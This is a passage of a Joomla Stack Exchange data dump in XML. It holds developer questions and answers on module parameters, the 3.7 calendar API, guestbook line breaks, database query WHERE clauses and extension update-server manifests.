issue?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&#xA;I've tried that method but without any results:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication('site');&#xA;$app-&amp;gt;initialise();&#xA;&#xA;jimport( 'joomla.application.module.helper' );&#xA;$module = JModuleHelper::getModule('mod_my_contact_form');&#xA;&#xA;$registry = new JRegistry();&#xA;$params = $registry-&amp;gt;loadString($module-&amp;gt;params);&#xA;&#xA;$contact_email = $params-&amp;gt;get('myemail');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 2:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;File structure:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mod_my_contact_form/&#xA;    tmpl/&#xA;       includes/&#xA;            contact.php&#xA;       default.php&#xA;     helper.php&#xA;     mod_my_contact_form.php&#xA;     mod_my_contact_form.xml&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 3:&lt;/strong&gt;&#xA;I think the xml is built properly. This is how looks the param part:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;    ...&#xA;    &amp;lt;fieldset name=&quot;contact_form&quot; label=&quot;Contact Form&quot;&amp;gt;&#xA;        &amp;lt;field name=&quot;myemail&quot; type=&quot;email&quot; label=&quot;JGLOBAL_EMAIL&quot; description=&quot;E-mail where you will receive all messages&quot; size=&quot;30&quot; class=&quot;inputbox&quot; validate=&quot;email&quot; /&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;   &amp;lt;/fields&amp;gt;&#xA;  &amp;lt;/config&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3524" LastEditorUserId="3524" LastEditDate="2018-05-22T13:25:08.973" LastActivityDate="2018-05-24T10:05:49.380" Title="Can't pass params to external php file" Tags="|joomla-3.x|module-params|contact-form|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22865" PostTypeId="2" ParentId="22757" CreationDate="2018-05-21T23:21:32.770" Score="1" Body="&lt;pre&gt;&lt;code&gt;$user = JFactory::getUser();&#xA;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select('*')-&amp;gt;from('#__contact_details')-&amp;gt;where('user_id = '.(int)$user-&amp;gt;id);&#xA;$db-&amp;gt;setQuery($query);&#xA;$contacts = $db-&amp;gt;loadObjectList(); &#xA;/* one user can be associated with multiple contacts */&#xA;if($contacts) {&#xA;    /* do stuff with the contact records */&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2066" LastEditorUserId="12352" LastEditDate="2018-11-04T21:12:07.950" LastActivityDate="2018-11-04T21:12:07.950" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22866" PostTypeId="1" AcceptedAnswerId="22874" CreationDate="2018-05-22T05:01:28.730" Score="1" ViewCount="511" Body="&lt;p&gt;I recently found out that the datepicker and calendar changed a lot from 3.6 to 3.7 and as a result I'm having a problem with my custom backend component. Originally this is the code I was using to initialize my datepickers:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(&quot;input[name^='jform[date]']&quot;).each(function(index){&#xA;    Calendar.setup({&#xA;        inputField: $(this).attr('id'),&#xA;        ifFormat: '%m/%d/%Y',&#xA;        button: $(this).attr('id') + '_img',&#xA;        align: 'Tl',&#xA;        singleClick: true,&#xA;        firstDay: 0&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I was informed that I now have to use &lt;code&gt;JoomlaCalendar.init()&lt;/code&gt; instead of &lt;code&gt;Calendar.setup&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is if the parameters are set the same way or if they're even the same. I looked around but I can't find much about this update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a core file that I can use as an example or something else?&lt;/p&gt;&#xA;" OwnerUserId="9821" LastEditorUserId="12352" LastEditDate="2019-08-16T08:26:03.047" LastActivityDate="2023-03-15T07:35:03.647" Title="Make calendar dynamically in 3.7" Tags="|javascript|joomla-3.7|calendar|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22867" PostTypeId="1" AcceptedAnswerId="22869" CreationDate="2018-05-22T09:38:18.157" Score="2" ViewCount="663" Body="&lt;p&gt;I have a kind of a guestbook on my page. It's just a common textarea like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;echo '&#xA;&amp;lt;textarea name=&amp;quot;msg&amp;quot;&amp;gt;&amp;lt;/textarea&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and then I use a form to send me to the backend on submit:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;$msg = $jinput-&amp;gt;getString('msg');&#xA;$columns = array('message');&#xA;$values = array($db-&amp;gt;quote($msg);&#xA;$query-&amp;gt;insert($db-&amp;gt;quoteName('guestbook'))-&amp;gt;columns($db-&amp;gt;quoteName($columns))-&amp;gt;values(implode(',', $values));&#xA;$db-&amp;gt;setQuery($query);&#xA;$db-&amp;gt;execute();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But my problem is, that if the user write something like:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Hey.&lt;/p&gt;&#xA;&lt;p&gt;This is a nice site.&lt;/p&gt;&#xA;&lt;p&gt;Bye for now!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The guestbook prints out:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Hey. This is a nice site. Bye for now!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;How can I get the line breaks from the user-inputs?&lt;/p&gt;&#xA;&lt;p&gt;EDIT:&#xA;I echo the results like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$results = $db-&amp;gt;loadObjectList();&#xA;foreach ($results as $row) {&#xA;echo $msg;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12400" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2018-05-23T05:58:49.020" Title="Convert line breaks in php textarea" Tags="|php|database|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22868" PostTypeId="2" ParentId="22864" CreationDate="2018-05-22T13:20:42.707" Score="2" Body="&lt;p&gt;By looking at updated xml file, I see only one issue that you haven't used &#xA;&lt;code&gt;&amp;lt;fields name=&quot;params&quot;&amp;gt;&amp;lt;/fields&amp;gt;&lt;/code&gt; in config tag and hence your modparams object showing blank. Try below xml snippet for configs and check one more time the &lt;code&gt;$module-&amp;gt;params&lt;/code&gt; values.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;config&amp;gt;&#xA;&amp;lt;fields name=&quot;params&quot;&amp;gt;&#xA;&amp;lt;fieldset name=&quot;contact_form&quot; label=&quot;Contact Form&quot;&amp;gt;&#xA;&amp;lt;field name=&quot;myemail&quot; type=&quot;email&quot; label=&quot;JGLOBAL_EMAIL&quot; description=&quot;E-mail where you will receive all messages&quot; size=&quot;30&quot; class=&quot;inputbox&quot; validate=&quot;email&quot; /&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/fields&amp;gt;&#xA;&amp;lt;/config&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this will solve your problem :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT :&lt;/strong&gt;&#xA;By Looking at your comment I tried my self to develop module.Below are the steps -&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I followed file structure given in question.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Here is My xml(&lt;code&gt;mod_my_contact_form.xml&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;     &amp;lt;extension version=&quot;3.0&quot; type=&quot;module&quot; client =&quot;site&quot; method=&quot;upgrade&quot;&amp;gt;&#xA;       &amp;lt;name&amp;gt;mod_my_contact_form&amp;lt;/name&amp;gt;&#xA;    &amp;lt;files&amp;gt;&#xA;     &amp;lt;filename module=&quot;mod_my_contact_form&quot;&amp;gt;mod_my_contact_form.php&amp;lt;/filename&amp;gt;&#xA;       &amp;lt;filename&amp;gt;index.html&amp;lt;/filename&amp;gt;&#xA;       &amp;lt;folder&amp;gt;tmpl&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;/files&amp;gt;&#xA;&amp;lt;config&amp;gt;&#xA;    &amp;lt;fields name=&quot;params&quot;&amp;gt;&#xA;        &amp;lt;fieldset name=&quot;contact_form&quot; label=&quot;Contact Form&quot;&amp;gt;&#xA;            &amp;lt;field name=&quot;myemail&quot; type=&quot;email&quot; label=&quot;JGLOBAL_EMAIL&quot; description=&quot;E-mail where you will receive all messages&quot; size=&quot;30&quot; class=&quot;inputbox&quot; validate=&quot;email&quot; /&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;   &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/config&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Here is Main PHP file of module(&lt;code&gt;mod_my_contact_form.php&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php&#xA;// No direct access.&#xA;defined('_JEXEC') or die();&#xA;echo &quot;I am from Main File&quot;;&#xA;//Load default.php&#xA;require JModuleHelper::getLayoutPath('mod_my_contact_form');&#xA;?&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Here is My &lt;code&gt;default.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php&#xA;echo &quot;&amp;lt;br&amp;gt;I am from Default file&quot;;&#xA;//Here I have loaded contact.php to send call there.&#xA;require_once 'modules/mod_my_contact_form/tmpl/includes/contact.php';&#xA;?&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I didn't do any different thing in &lt;code&gt;contact.php&lt;/code&gt;, Just put down your code snippet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php&#xA; echo &quot;&amp;lt;br&amp;gt;I am from contact php&quot;;&#xA; $app = JFactory::getApplication('site');&#xA; $app-&amp;gt;initialise();&#xA; jimport( 'joomla.application.module.helper' );&#xA; $module = JModuleHelper::getModule('mod_my_contact_form');&#xA; $registry = new JRegistry();&#xA; $params = $registry-&amp;gt;loadString($module-&amp;gt;params);&#xA; $contact_email = $params-&amp;gt;get('myemail');&#xA; echo &quot;&amp;lt;br&amp;gt;Here is my params Email=&amp;gt; &quot;.$contact_email;&#xA;?&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE : I have just written code which need to go call into contact.php as we wanted to get params into contact.php file. Hence those required and all other stuff is used. So please use your code accordingly in respective files.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="9104" LastEditorUserId="9104" LastEditDate="2018-05-24T10:05:49.380" LastActivityDate="2018-05-24T10:05:49.380" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="22869" PostTypeId="2" ParentId="22867" CreationDate="2018-05-22T16:08:20.563" Score="1" Body="&lt;p&gt;You don't show how you are echoing the result, but have you tried wrapping it in &lt;code&gt;nl2br&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2018-05-22T16:08:20.563" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22870" PostTypeId="2" ParentId="22863" CreationDate="2018-05-22T17:19:47.947" Score="0" Body="&lt;p&gt;The problem was solved using local web server where my website could work properly.I had updated joomla packages to 3.8.8 and transfer them to host and done some work with my extensions.&lt;/p&gt;&#xA;" OwnerUserId="11766" LastActivityDate="2018-05-22T17:19:47.947" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22872" PostTypeId="1" AcceptedAnswerId="22888" CreationDate="2018-05-22T18:29:09.273" Score="4" ViewCount="249" Body="&lt;p&gt;I need to modify the database query to not select a certain ID in the database so the items with that ID do not show in the results. However, I cannot figure out how to do this. below I added a WHERE statement but I don't know if this is the right way to do this or if it is even created correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-&gt;where ('geo.fid' != 887) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected function loadEntries( &amp;amp;$data, $conditions )&#xA;    {&#xA;        $db = SPFactory::db();&#xA;        $table = $db-&amp;gt;join( array(&#xA;                array( 'table' =&amp;gt; 'spdb_field_geo', 'as' =&amp;gt; 'geo', 'key' =&amp;gt; 'sid' ),&#xA;                array( 'table' =&amp;gt; 'spdb_object', 'as' =&amp;gt; 'spo', 'key' =&amp;gt; 'id' )&#xA;        ) );&#xA;        if ( Sobi::My( 'id' ) ) {&#xA;            $this-&amp;gt;userPermissionsQuery( $conditions, 'spo.' );&#xA;        }&#xA;        else {&#xA;            $conditions = array_merge( $conditions, array( 'spo.state' =&amp;gt; '1', '@VALID' =&amp;gt; $db-&amp;gt;valid( 'spo.validUntil', 'spo.validSince' ) ) );&#xA;        }&#xA;        $data[ 'entries' ] = SPFactory::db()&#xA;                -&amp;gt;select( array( 'geo.sid', 'geo.latitude', 'geo.longitude' ), $table, $conditions )&#xA;&#xA;                -&amp;gt;where ('geo.fid' != 887) // this is what I am trying to add but it breaks the code.&#xA;&#xA;                -&amp;gt;loadAssocList();&#xA;        Sobi::Trigger( 'SPGeoMap', 'AfterGetEntries', array( &amp;amp;$data[ 'entries' ] ) );&#xA;        $data[ 'count' ] = count( $data[ 'entries' ] );&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12561" LastEditorUserId="12561" LastEditDate="2018-05-22T18:56:00.170" LastActivityDate="2018-05-26T01:05:34.630" Title="Add where statement to database query" Tags="|php|joomla3.8|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22873" PostTypeId="2" ParentId="22872" CreationDate="2018-05-22T19:57:34.107" Score="-1" Body="&lt;p&gt;I have success with the following format &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt;select($db-&amp;gt;quoteName(array('geo.sid', 'geo.latitude', 'geo.longitude')), $table, $conditions );&#xA;&#xA;-&amp;gt;where($db-&amp;gt;quoteName('geo.fid') . ' &amp;lt;&amp;gt; 887 ' . );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12495" LastActivityDate="2018-05-22T19:57:34.107" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22874" PostTypeId="2" ParentId="22866" CreationDate="2018-05-22T23:14:56.557" Score="1" Body="&lt;p&gt;After digging around, I finally found the answer or at least got it to work. Not sure if there is a better way.&lt;/p&gt;&#xA;&lt;p&gt;First off, originally I was initializing from the input field. We now have to do it from the parent of the parent node, so the input field must be embedded inside two elements. Secondly, I was originally initializing with the &lt;code&gt;id&lt;/code&gt; of the field, we now have to do it with the &lt;code&gt;element&lt;/code&gt; itself; I switched from jquery to vanilla javascript.&lt;/p&gt;&#xA;&lt;p&gt;As far as the parameters, I couldn't find any samples where the parameters were being set the old way and I couldn't get it to work by setting them that way either. So I passed the parameters as &lt;code&gt;data&lt;/code&gt; attribute values assigned to the button that triggers the datepicker. I just copied the parameters and values from one of the jform input fields.&lt;/p&gt;&#xA;&lt;p&gt;Here is my html:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&amp;quot;field-calendar&amp;quot;&amp;gt;                      &#xA;    &amp;lt;div class=&amp;quot;input-append&amp;quot;&amp;gt;                          &#xA;        &amp;lt;input id=&amp;quot;jform_date1&amp;quot; name=&amp;quot;jform[date][]&amp;quot; title=&amp;quot;&amp;quot; type=&amp;quot;text&amp;quot;&#xA;               aria-invalid=&amp;quot;false&amp;quot; class=&amp;quot;input-medium hasTooltip&amp;quot; maxlength=&amp;quot;45&amp;quot;&#xA;               value=&amp;quot;&amp;quot; data-original-title=&amp;quot;&amp;quot; data-alt-value=&amp;quot;0000-00-00 00:00:00&amp;quot;&amp;gt;&#xA;        &amp;lt;button class=&amp;quot;btn&amp;quot; id=&amp;quot;jform_date1_img&amp;quot; type=&amp;quot;button&amp;quot; data-inputfield=&amp;quot;jform_date1&amp;quot;&#xA;                data-dayformat=&amp;quot;%m/%d/%Y&amp;quot; data-button=&amp;quot;jform_date_btn&amp;quot; data-firstday=&amp;quot;0&amp;quot;&#xA;                data-weekend=&amp;quot;0,6&amp;quot; data-today-btn=&amp;quot;1&amp;quot; data-week-numbers=&amp;quot;1&amp;quot; data-show-time=&amp;quot;0&amp;quot;&#xA;                data-show-others=&amp;quot;1&amp;quot; data-time-24=&amp;quot;24&amp;quot; data-only-months-nav=&amp;quot;0&amp;quot;&amp;gt;&#xA;            &amp;lt;span class=&amp;quot;icon-calendar&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;        &amp;lt;/button&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And  here is my javascript:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;const elements = document.querySelectorAll(&amp;quot;#webinarSeries .field-calendar&amp;quot;);&#xA;for (let i = 0; i &amp;lt; elements.length; i++) {&#xA;    JoomlaCalendar.init(elements[i]);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9821" LastEditorUserId="9821" LastEditDate="2023-03-15T07:35:03.647" LastActivityDate="2023-03-15T07:35:03.647" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22875" PostTypeId="1" AcceptedAnswerId="22877" CreationDate="2018-05-22T23:37:27.847" Score="2" ViewCount="671" Body="&lt;p&gt;My site is down completely. Swapping out my custom template with another very small template allows the system to operate but without most positions. I believe that the error &quot;Using $this when not in object context&quot; proves the problem is PHP related.  I'm looking for the best way to get the site back up on to version 3.8.7 until the template issue can be resolved.  The PHP version on the server has not changed. PHP Version 7.2.5-1+ubuntu16.04.1+deb.sury.org+1.  Any advice on debugging this problem would be appreciated.  &lt;/p&gt;&#xA;" OwnerUserId="418" LastActivityDate="2018-05-23T07:44:00.373" Title="Upgrade from 3.8.7 to 3.8.8 - Failure - Using $this when not in object context" Tags="|php7|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22876" PostTypeId="2" ParentId="22872" CreationDate="2018-05-23T00:08:42.190" Score="0" Body="&lt;p&gt;You need to make sure &lt;code&gt;!=&lt;/code&gt; is wrapped in the quotes. Also escape the column name, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt;where($db-&amp;gt;quoteName('geo.fid') . ' != 887');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2018-05-23T08:49:20.750" LastActivityDate="2018-05-23T08:49:20.750" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="22877" PostTypeId="2" ParentId="22875" CreationDate="2018-05-23T07:44:00.373" Score="3" Body="&lt;p&gt;The random image module has an issue in Joomla 3.8.8. For details, see:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Module_random_image_PHP_Error_after_3.8.8&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Module_random_image_PHP_Error_after_3.8.8&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution can be found here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/20533/files&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/pull/20533/files&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2018-05-23T07:44:00.373" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22880" PostTypeId="1" AcceptedAnswerId="22881" CreationDate="2018-05-23T19:34:39.530" Score="0" ViewCount="68" Body="&lt;p&gt;I've developed a &quot;file&quot; extension that works just fine, but trying to publish it in JED I need to setup the update server entry, but I really don't know how to setup that for my new extension, which is of type &quot;file&quot;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;extension type=&quot;file&quot; version=&quot;2.5&quot; method=&quot;upgrade&quot;&amp;gt;&#xA;...&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have setup a lot of update servers for my other extensions which are plugins, but never setup for &quot;files&quot;. So far my update server manifest look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&#xA;&amp;lt;updates&amp;gt;&#xA;   &amp;lt;update&amp;gt;&#xA;      &amp;lt;name&amp;gt;My Extension Name&amp;lt;/name&amp;gt;&#xA;      &amp;lt;description&amp;gt;Description by me&amp;lt;/description&amp;gt;&#xA;       &amp;lt;element&amp;gt;Don't know if this is needed&amp;lt;/element&amp;gt;&#xA;      &amp;lt;type&amp;gt;file&amp;lt;/type&amp;gt;&#xA;      &amp;lt;folder&amp;gt;Whats should I put in here?&amp;lt;/folder&amp;gt;&#xA;      &amp;lt;client&amp;gt;0&amp;lt;/client&amp;gt;&#xA;      &amp;lt;version&amp;gt;1.0.0&amp;lt;/version&amp;gt;&#xA;      &amp;lt;infourl title=&quot;URL Info&quot;&amp;gt;http://something.com&amp;lt;/infourl&amp;gt;&#xA;      &amp;lt;tags&amp;gt;&#xA;         &amp;lt;tag&amp;gt;stable&amp;lt;/tag&amp;gt;&#xA;      &amp;lt;/tags&amp;gt;&#xA;      &amp;lt;maintainer&amp;gt;MGS Creativa&amp;lt;/maintainer&amp;gt;&#xA;      &amp;lt;maintainerurl&amp;gt;http://www.mgscreativa.com&amp;lt;/maintainerurl&amp;gt;&#xA;      &amp;lt;section&amp;gt;Updates&amp;lt;/section&amp;gt;&#xA;      &amp;lt;targetplatform name=&quot;joomla&quot; version=&quot;3.[0123456789]&quot;/&amp;gt;&#xA;   &amp;lt;/update&amp;gt;&#xA;&amp;lt;/updates&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7562" LastActivityDate="2018-05-23T20:05:57.540" Title="Update Server for extension type=&quot;file&quot;" Tags="|joomla-3.x|extension-update|manifest|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22881" PostTypeId="2" ParentId="22880" CreationDate="2018-05-23T20:05:57.540" Score="1" Body="&lt;p&gt;Well, sorry to ask, but finally got it working like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&#xA;&amp;lt;updates&amp;gt;&#xA;    &amp;lt;update&amp;gt;&#xA;        &amp;lt;name&amp;gt;Extension Name&amp;lt;/name&amp;gt;&#xA;        &amp;lt;description&amp;gt;Extensin description&amp;lt;/description&amp;gt;&#xA;        &amp;lt;element&amp;gt;String written in the &quot;element&quot; field of the #__extensions table for this extension entry&amp;lt;/element&amp;gt;&#xA;        &amp;lt;type&amp;gt;file&amp;lt;/type&amp;gt;&#xA;        &amp;lt;folder&amp;gt;&amp;lt;/folder&amp;gt;&#xA;        &amp;lt;client&amp;gt;0&amp;lt;/client&amp;gt;&#xA;        &amp;lt;version&amp;gt;1.0.0&amp;lt;/version&amp;gt;&#xA;        &amp;lt;infourl title=&quot;Link title&quot;&amp;gt;https://www.url.com-&amp;lt;/infourl&amp;gt;&#xA;        &amp;lt;tags&amp;gt;&#xA;            &amp;lt;tag&amp;gt;stable&amp;lt;/tag&amp;gt;&#xA;        &amp;lt;/tags&amp;gt;&#xA;        &amp;lt;maintainer&amp;gt;MGS Creativa&amp;lt;/maintainer&amp;gt;&#xA;        &amp;lt;maintainerurl&amp;gt;http://www.mgscreativa.com&amp;lt;/maintainerurl&amp;gt;&#xA;        &amp;lt;section&amp;gt;Updates&amp;lt;/section&amp;gt;&#xA;        &amp;lt;targetplatform name=&quot;joomla&quot; version=&quot;3.[0123456789]&quot;/&amp;gt;&#xA;    &amp;lt;/update&amp;gt;&#xA;&amp;lt;/updates&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7562" LastActivityDate="2018-05-23T20:05:57.540" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22883" PostTypeId="1" CreationDate="2018-05-24T08:52:22.717" Score="1" ViewCount="24" Body="&lt;p&gt;I have tried the few refer &lt;a href=&quot;https://github.com/ziadoz/awesome-php#documentation&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; but not get any success.&lt;/p&gt;&#xA;" OwnerUserId="12568" LastActivityDate="2018-05-24T08:52:22.717" Title="Is there any PHP library which auto create developer document for Joomla components, modules and plugins" Tags="|joomla-3.4|joomla-3.6|documentation|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22887" PostTypeId="2" ParentId="22829" CreationDate="2018-05-25T13:27:28.740" Score="1" Body="&lt;p&gt;If you are new, then I'd like to include some basic error checking as well as printing out the generated query and the 2-column resultset. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Untested Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDBO();&#xA;try {&#xA;    $query = $db-&amp;gt;getQuery(true)&#xA;                -&amp;gt;select(&#xA;                    array(&#xA;                        &quot;MAX(CASE WHEN v.FieldName = 'Team_Name'&#xA;                                  THEN v.FieldValue END) 'Team_Name'&quot;,&#xA;                        &quot;MAX(CASE WHEN v.FieldName = 'Manager_Name'&#xA;                                  THEN v.FieldValue END) 'Manager_Name'&quot;&#xA;                    )&#xA;                  )&#xA;                -&amp;gt;from(&quot;#__team_values v&quot;)&#xA;                -&amp;gt;where(&quot;v.tournamentId = 5&quot;);&#xA;    echo $query-&amp;gt;dump();    // only if you  wish to see what is generated. Of course, don't do this on your live/public site&#xA;    $db-&amp;gt;setQuery($query);&#xA;    echo &quot;&amp;lt;pre&amp;gt;&quot;;&#xA;        var_export($db-&amp;gt;loadAssocList());  // display the resultset&#xA;    echo &quot;&amp;lt;/pre&amp;gt;&quot;;&#xA;} catch (Exception $e) {&#xA;    echo &quot;&amp;lt;div&amp;gt;&quot;, $e-&amp;gt;getMessage(), &quot;&amp;lt;/div&amp;gt;&quot;;  // show error, if any.  Of course, don't do this on your live/public site&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Because your query doesn't use any variables or mysql reserved keywords, you can reduce code bloat by omitting the &lt;code&gt;$db-&amp;gt;q()&lt;/code&gt; and &lt;code&gt;$db-&amp;gt;qn()&lt;/code&gt; calls for quoting tablenames, columns, and values.  The integer 5 doesn't need to be single-quote wrapped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I prefer to chain &lt;code&gt;-&amp;gt;&lt;/code&gt; query methods from &lt;code&gt;getQuery&lt;/code&gt; so that &lt;code&gt;$query&lt;/code&gt; doesn't need to be written out again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to see a similar question where I answered with a fully joomla-quoted query, &lt;a href=&quot;https://joomla.stackexchange.com/a/22801/12352&quot;&gt;read this post&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do have uncertainties/concerns...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is just a reproduction of your sql using Joomla sql method calls.  I am not entirely certain that this query will function as you intend.  If you provide an SQLFiddle Demo of your table structure/data and explain your expected result, I will be able to verify or correct the query itself.  &lt;code&gt;loadRowList()&lt;/code&gt;, &lt;code&gt;loadAssocList()&lt;/code&gt;, and &lt;code&gt;loadObjectList()&lt;/code&gt; generate a multi-row resultset, but if you only expect a single row, then &lt;code&gt;loadRow()&lt;/code&gt;, &lt;code&gt;loadAssoc()&lt;/code&gt;, or &lt;code&gt;loadObject()&lt;/code&gt; will be better 